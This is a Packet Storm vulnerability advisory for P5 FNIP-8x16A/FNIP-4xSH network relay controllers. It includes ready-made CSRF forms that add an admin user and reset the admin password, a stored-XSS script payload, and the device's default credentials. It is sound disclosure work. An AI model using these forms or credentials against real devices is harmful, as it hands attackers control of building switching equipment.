P5 FNIP-8x16A/FNIP-4xSH CSRF / Cross Site Scripting

2020-04-21T00:00:00
ID PACKETSTORM:157318
Type packetstorm
Reporter LiquidWorm
Modified 2020-04-21T00:00:00

Description

                                        
                                            `<!--  
  
  
P5 FNIP-8x16A/FNIP-4xSH CSRF Stored Cross-Site Scripting  
  
  
Vendor: P5  
Product web page: https://www.p5.hu  
Affected version: 1.0.20, 1.0.11  
  
Summary: The FNIP-8x16A is an eight channel relay module used for switching any  
type of load that doesn’t exceed the specifications. Via its built-in web site  
and TCP/IP communication, the outputs and inputs can be controlled and monitored  
from standard network capable devices such as computers, smartphones, web-tablets,  
etc. either locally or via the network. The module can be used independently or  
as part of a complex control system in residential and commercial installations.  
  
Desc: The controller suffers from CSRF and XSS vulnerabilities. The application  
allows users to perform certain actions via HTTP requests without performing any  
validity checks to verify the requests. This can be exploited to perform certain  
actions with administrative privileges if a logged-in user visits a malicious web  
site. Input passed to several GET/POST parameters is not properly sanitised before  
being returned to the user. This can be exploited to execute arbitrary HTML and  
script code in a user's browser session in context of an affected site.  
  
Tested on: Linux  
CGI  
  
  
Vulnerabiity discovered by Gjoko 'LiquidWorm' Krstic  
@zeroscience  
  
  
Advisory ID: ZSL-2020-5564  
Advisory URL: https://www.zeroscience.mk/en/vulnerabilities/ZSL-2020-5564.php  
  
  
29.01.2020  
  
-->  
  
  
<!-- CSRF add admin user -->  
<html>  
<body>  
<form action="http://192.168.1.17:83/user.cgi" method="POST">  
<input type="hidden" name="uno" value="1" /> <!-- User number (user1) -->  
<input type="hidden" name="un" value="testingus" /> <!-- Username -->  
<input type="hidden" name="role" value="2" /> <!-- 2: Admin, 1: Actor, 0: Observer -->  
<input type="hidden" name="enabled" value="1" />  
<input type="hidden" name="pw" value="123456" />  
<input type="hidden" name="pw2" value="123456" />  
<input type="submit" value="Zubmit" />  
</form>  
</body>  
</html>  
  
<!-- CSRF change admin password -->  
<html>  
<body>  
<form action="http://192.168.1.17:83/user.cgi" method="POST">  
<input type="hidden" name="un" value="admin" /> <!-- Defaults: admin:futurenow -->  
<input type="hidden" name="pw" value="123456" />  
<input type="hidden" name="pw2" value="123456" />  
<input type="submit" value="Zubmit" />  
</form>  
</body>  
</html>  
  
<!-- XSS modify labels -->  
<html>  
<body>  
<form action="http://192.168.1.17:83/config.html" method="POST">  
<input type="hidden" name="lab1" value="Channel1" />  
<input type="hidden" name="lab2" value="Channel2" />  
<input type="hidden" name="lab3" value="Channel3" />  
<input type="hidden" name="lab4" value='"><script>confirm(251)</script>' />  
<input type="hidden" name="lab12" value="etc." />  
<input type="submit" value="Zubmit" />  
</form>  
</body>  
</html>  
`